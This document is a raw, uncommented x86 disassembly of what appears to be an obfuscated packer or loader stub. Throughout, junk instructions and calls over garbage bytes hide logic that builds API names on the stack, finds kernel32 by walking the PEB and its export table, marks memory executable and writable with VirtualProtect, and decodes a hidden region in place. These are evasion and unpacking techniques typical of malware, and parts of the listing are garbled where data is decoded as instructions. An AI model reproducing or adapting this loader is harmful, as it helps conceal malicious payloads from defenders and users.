mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x4a345e
jmp 0x4a33a4
jmp 0x4a3465
push esi
xor esi, 0x904d
sub esi, 0xf030
pop esi
push eax
push ecx
add esp, 4
or eax, 0x1651a
xor eax, 0x5cd4
add eax, 0xc0
pop eax
push ecx
push eax
add esp, 4
and ecx, 0x180e6
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x4a34c4
mov dword [ebp - 0xc40], 0
jmp 0x4a3533
push ebx
push esi
add esp, 4
or ebx, 0x15da
or ebx, 0xf51e
or ebx, 0x17d18
xor ebx, 0xcc00
pop ebx
push edx
sub edx, 0x52b3
or edx, 0x8af4
or edx, 0xa543
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4a3529
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4a3533
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4a354a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x4a355b
jmp 0x4a3334
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push edi
add esp, 4
xor ebx, 0x13a3d
xor ebx, 0x10532
and ebx, 0x907b
call 0x4a358d
add byte [ebx + 0x43], al
xor dh, byte [edi]
aaa
dec ecx
cmp al, 0x3b
push eax
add esp, 4
pop ebx
push ebx
add ebx, 0x1469b
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edx
push eax
add esp, 4
xor edx, 0xd048
pop edx
push edi
push edi
add esp, 4
xor edi, 0x11cef
add edi, 0x11814
pop edi
push edi
xor edi, 0x783a
add edi, 0x35a1
xor edi, 0x15101
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x4a35ec
cmp dword [ebp - 0xa5c], 0
jne 0x4a3632
push ecx
push ebx
add esp, 4
sub ecx, 0x5b07
and ecx, 0x17d25
jmp 0x4a3603
pop ecx
push esi
add esi, 0x1293d
and esi, 0xadf1
sub esi, 0xef0
and esi, 0x13646
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
push esi
add esp, 4
jmp 0x4a3646
sub ebx, 0x8b6
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x11a0c
jmp 0x4a365f
xor esi, 0x1107f
jmp 0x4a366d
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
add byte [edi + 0x53], dl
add esp, 4
and edi, 0xf5f8
sub edi, 0x9a72
add edi, 0x567a
pop edi
push ebx
and ebx, 0x1333c
cmp al, 0x33
add dword [eax], eax
jmp 0x4a36be
add ebx, 0x482a
xor ebx, 0x9741
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
idiv bh
push dword [edx - 0x3a]
test dword [ebx + 0x74fffff6], esp
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push esi
add esp, 4
add ecx, 0x1446b
xor ecx, 0xdab
sub ecx, 0x15dbd
and ecx, 0x5f0a
pop ecx
push eax
xor eax, 0xcef5
xor eax, 0xe505
and eax, 0xd2ec
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push esi
add esp, 4
jmp 0x4a379b
pop eax
push ecx
jmp 0x4a37a6
or ecx, 0x17888
pop ecx
push esi
push edi
add esp, 4
add esi, 0x1098d
xor esi, 0x291d
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x4a37d7
mov dword [ebp - 0x2a8], 0
jmp 0x4a3a7e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
push edx
add esp, 4
jmp 0x4a37f3
pop ecx
push esi
push edx
add esp, 4
add esi, 0xa882
pop esi
push eax
add eax, 0x162eb
jmp 0x4a380e
add eax, 0x3e42
add eax, 0x16153
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x4a3833
mov dword [ebp - 0x2a8], 0
jmp 0x4a3a7e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push edi
add esp, 4
jmp 0x4a384c
or edx, 0xeccc
or edx, 0x143a4
pop edx
push edi
push esi
add esp, 4
or edi, 0xc113
or edi, 0xbf4
sub edi, 0xe55e
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push ecx
add esp, 4
call 0x4a38af
add byte [ebx + eax*2], dh
dec eax
xor dh, byte [eax + ecx*2]
inc edx
aas
inc eax
add esp, 4
pop edx
push ecx
sub ecx, 0xafcc
sub ecx, 0xf026
add ecx, 0x527b
and ecx, 0xf09d
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
and esi, 0x2ee2
xor esi, 0x109f2
pop esi
push ebx
push edx
add esp, 4
add ebx, 0x1419b
pop ebx
push ebx
push edx
add esp, 4
sub ebx, 0xb18
sub ebx, 0xd95f
jmp 0x4a3955
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4a3973
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x4a39cd
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4a389b
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4a389b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4a39b7
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x4a39c1
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x4a3a16
push eax
push edi
add esp, 4
xor eax, 0x7103
or eax, 0x2f45
and eax, 0x13a65
sub eax, 0x282b
pop eax
push eax
add eax, 0x7c7e
sub eax, 0x58c9
and eax, 0xc2ad
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4a3a7e
push ecx
add ecx, 0xcb95
call 0x4a3a2c
add byte [ebp + 0x3b], cl
cmp byte [eax + 0x3b], al
aas
inc ebx
dec edi
inc ebp
add esp, 4
pop ecx
push esi
push edi
add esp, 4
add esi, 0x4aaf
xor esi, 0x17ef7
and esi, 0x139a9
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4a3a74
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4a383f
mov dword [ebp - 0x2a8], 0
push esi
add esi, 0x9d4d
or esi, 0xc248
and esi, 0xc981
pop esi
push eax
push eax
add esp, 4
add eax, 0xb954
sub eax, 0x3f0c
add eax, 0xdf33
and eax, 0xb0f4
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x4a43b5
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
jmp 0x4a3b5d
xor ecx, 0x1783a
add ecx, 0x9019
or ecx, 0x4a80
pop ecx
push edx
jmp 0x4a3b79
pop edx
push ecx
and ecx, 0xafc7
xor ecx, 0x10da5
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
and edi, 0x739a
call 0x4a3c1e
add byte [esi], bh
dec edx
push eax
inc eax
inc esi
aas
add esp, 4
add edi, 0x3deb
pop edi
push esi
push edi
add esp, 4
jmp 0x4a3c36
sub esi, 0x17c6c
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x4a3c55
mov dword [ebp - 0x710], 0
jmp 0x4a3efc
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
or eax, 0x161f8
jmp 0x4a3c74
add eax, 0xb2a
sub eax, 0xcf10
pop eax
push edi
push ebx
add esp, 4
add edi, 0x17c8e
and edi, 0x167f9
xor edi, 0x8218
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x4a3cb1
mov dword [ebp - 0x710], 0
jmp 0x4a3efc
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push ebx
add esp, 4
and edx, 0x15682
pop edx
push ecx
push ecx
add esp, 4
or ecx, 0xb3be
xor ecx, 0x10b5c
add ecx, 0x24d3
jmp 0x4a3ce6
pop ecx
push esi
and esi, 0x14b2b
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
jmp 0x4a3d23
and edx, 0x13bf7
add edx, 0xcedc
and edx, 0x16880
pop edx
push edx
push ecx
add esp, 4
call 0x4a3d47
add byte [edx + 0x3b], cl
xor al, byte [ebx + 0x3e]
aas
add esp, 4
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
xor edi, 0xbf97
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0x11d98
xor ebx, 0x14220
call 0x4a3dca
add byte [eax], bh
dec eax
dec edi
inc ebp
dec ecx
inc esi
xor eax, 0xc4834e33
add al, 0x81
jecxz 0x4a3d87
dec dword [ebx - 0xc536b]
inc dword [ebx - 0x6a76fd3e]
lodsb al, byte [esi]
invalid
add al, byte [ecx]
add byte [ebx + 0xf], bl
mov bh, 0x4d
les eax, [ebp + 0xf1575c9]
mov bh, 0x95
clc
std
invalid
push ebx
push edx
add esp, 4
xor ebx, 0xc091
pop ebx
push ebx
push ecx
add esp, 4
jmp 0x4a3f16
call 0x4a3f24
add byte [eax + 0x48], al
inc esp
inc ebx
inc ecx
xor edi, dword [edi]
add esp, 4
or ebx, 0xf507
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x4a3f78
push ecx
push ecx
add esp, 4
jmp 0x4a3f41
jmp 0x4a3f48
and ecx, 0x185a
add ecx, 0x1090b
pop ecx
push edx
push ebx
add esp, 4
or edx, 0x4ac8
pop edx
push edx
or edx, 0x1279d
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x4a4aa0
push edi
push eax
add esp, 4
jmp 0x4a3f82
pop edi
push ebx
push edi
add esp, 4
or ebx, 0x1e9c
call 0x4a3f9a
add byte [edi + 0x3b], cl
dec edi
inc esp
inc edx
cmp al, byte [ebx + 0x525b04c4]
push ebx
add esp, 4
sub edx, 0xde37
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4a3fe9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4a42da
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4a4011
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4a42da
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4a4043
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4a42da
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4a4068
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4a42da
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4a40c2
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4a42ce
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4a4132
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4a41e4
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4a41e4
push edx
sub edx, 0x18113
pop edx
push edi
push edx
add esp, 4
sub edi, 0x14deb
xor edi, 0xbc40
xor edi, 0x13341
pop edi
push ebx
call 0x4a418d
add byte [ebx], bh
inc ecx
dec esp
cmp al, 0x48
cmp al, 0x83
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4a41d6
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4a41dd
jmp 0x4a4123
jmp 0x4a41e4
push ecx
push ebx
add esp, 4
and ecx, 0x12020
or ecx, 0x15c0f
sub ecx, 0x132e5
pop ecx
push ecx
xor ecx, 0xbbc9
and ecx, 0xc2c2
jmp 0x4a4210
jmp 0x4a4215
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4a4243
mov dword [ebp - 0xc5c], 0
jmp 0x4a42b2
push ecx
call 0x4a4250
add byte [ebx + eax*2], bh
inc esi
inc esp
cmp eax, dword [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
xor bh, byte ds:[esi]
cmp al, 0x45
dec esi
inc ebx
cmp eax, 0x4c48341
pop ecx
push edx
or edx, 0x64f7
sub edx, 0xefd2
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4a42a8
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4a42b2
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4a42c9
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4a42da
jmp 0x4a40b3
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4a43b5
push ebx
jmp 0x4a42ee
pop ebx
push eax
and eax, 0xaa3f
pop eax
push edx
push eax
add esp, 4
jmp 0x4a4301
pop edx
push ecx
push ebx
add esp, 4
and ecx, 0xf654
pop ecx
push edx
push edx
add esp, 4
jmp 0x4a4318
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
or edi, 0xd0ea
sub edi, 0x153f3
sub edi, 0x43bc
sub edi, 0x10f86
pop edi
push edx
push ebx
add esp, 4
or edx, 0x170c9
pop edx
push edi
push eax
add esp, 4
add edi, 0x16d2e
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x4a43b5
push edx
xor edx, 0x104f8
sub edx, 0xa29c
sub edx, 0x9d96
jmp 0x4a438f
pop edx
push eax
xor eax, 0x6933
pop eax
push ebx
jmp 0x4a439f
xor ebx, 0x13903
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x4a4aa0
push esi
and esi, 0x155c8
xor esi, 0x16453
xor esi, 0x139e
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0xa81d
sub ecx, 0x7dd8
or ecx, 0xba7c
jmp 0x4a43e6
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
sub edx, 0x17a0b
call 0x4a4425
add byte [eax + 0x45], dl
xor eax, dword [edx + 0x41]
inc eax
cmp eax, 0xc4834434
add al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [0x3d474238], dh
xor al, 0x39
cmp eax, 0x4c48340
sub edx, 0x5ed9
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x4a4459
mov dword [ebp - 0x2a8], 0
jmp 0x4a4700
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push esi
add esp, 4
sub ecx, 0x607f
sub ecx, 0x4031
pop ecx
push ebx
xor ebx, 0xa4ce
pop ebx
push esi
push eax
add esp, 4
or esi, 0xd1e4
and esi, 0xd69f
add esi, 0x6e1d
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x4a44b5
mov dword [ebp - 0x2a8], 0
jmp 0x4a4700
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
jmp 0x4a44c8
jmp 0x4a44cd
pop edx
push ebx
jmp 0x4a44d6
xor ebx, 0x2d03
and ebx, 0x842f
pop ebx
push esi
jmp 0x4a44ea
jmp 0x4a44f2
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
call 0x4a452b
add byte [eax], bh
dec edi
inc esp
xor al, 0x45
cmp byte [eax], bh
add esp, 4
jmp 0x4a4533
pop edi
push eax
jmp 0x4a453e
pop eax
push eax
and eax, 0xebe0
pop eax
push edi
jmp 0x4a454e
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
call 0x4a45b6
add byte [esi], bh
xor cl, byte [edx + 0x33]
dec ecx
cmp eax, 0xc4833d4a
add al, 0x81
invalid
push esi
push esi
add esp, 4
jmp 0x4a470d
xor esi, 0x17d7b
and esi, 0xdfe
pop esi
push edx
push edi
add esp, 4
xor edx, 0x9a38
or edx, 0x90d9
xor edx, 0x16204
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
sub ebx, 0x10651
call 0x4a4754
add byte [ecx + 0x35], al
cmp eax, 0x83364234
les eax, [ecx + eax*4]
ret
push eax
push ebx
add esp, 4
sub eax, 0x16740
add eax, 0x17c47
xor eax, 0xff42
add eax, 0x114ba
pop eax
push ebx
push ecx
add esp, 4
and ebx, 0x12902
pop ebx
push edx
add edx, 0x7133
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4a4b45
push edi
push eax
add esp, 4
or edi, 0x18696
add edi, 0x10f82
pop edi
push edi
call 0x4a4b21
add byte [ecx + 0x48], cl
aas
xor al, byte [esi + 0x35]
cmp byte [esi + 0x3f], cl
add esp, 4
and edi, 0x5cec
sub edi, 0x1228a
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4a4b62
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x4a4bbe
push edi
push edi
add esp, 4
jmp 0x4a4b7d
call 0x4a4b8c
add byte [edi + 0x3c], cl
push eax
cmp byte [edx + ecx*2 + 0x40], cl
inc ecx
xor al, 0x83
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [ebx], dh
xor al, byte [esi + 0x46]
aaa
dec ebx
cmp byte [edi], bh
dec eax
add esp, 4
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4a4b53
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4a4c36
push edi
or edi, 0xfe91
jmp 0x4a4bfc
and edi, 0xf260
pop edi
push edi
push esi
add esp, 4
add edi, 0x5290
or edi, 0x1130a
jmp 0x4a4c1b
or edi, 0x85ab
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
or ecx, 0xbf5b
or ecx, 0x5c8e
or ecx, 0xb5a4
jmp 0x4a4c51
pop ecx
push ebx
sub ebx, 0x1419
pop ebx
push edx
xor edx, 0xdfc4
jmp 0x4a4c67
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push ebp
in eax, dx
push cs
add eax, 0x3c050505
dec edx
cmp byte [ebx], bh
inc esp
push edx
push esp
inc ebx
mov cl, cl
or dword [esi + 0x63995cd], eax
add eax, 0x50510ed
add eax, 0x443b4c05
dec esi
dec eax
push esp
inc eax
dec ecx
inc esp
inc edx
mov cl, cl
or dword [esi + 0x518aeed], eax
add eax, 0x570bf5d
add eax, 0x9a8e6b05
shr esi, 4
add al, 0xbd
push 5
add eax, 0x8a8e6b05
ret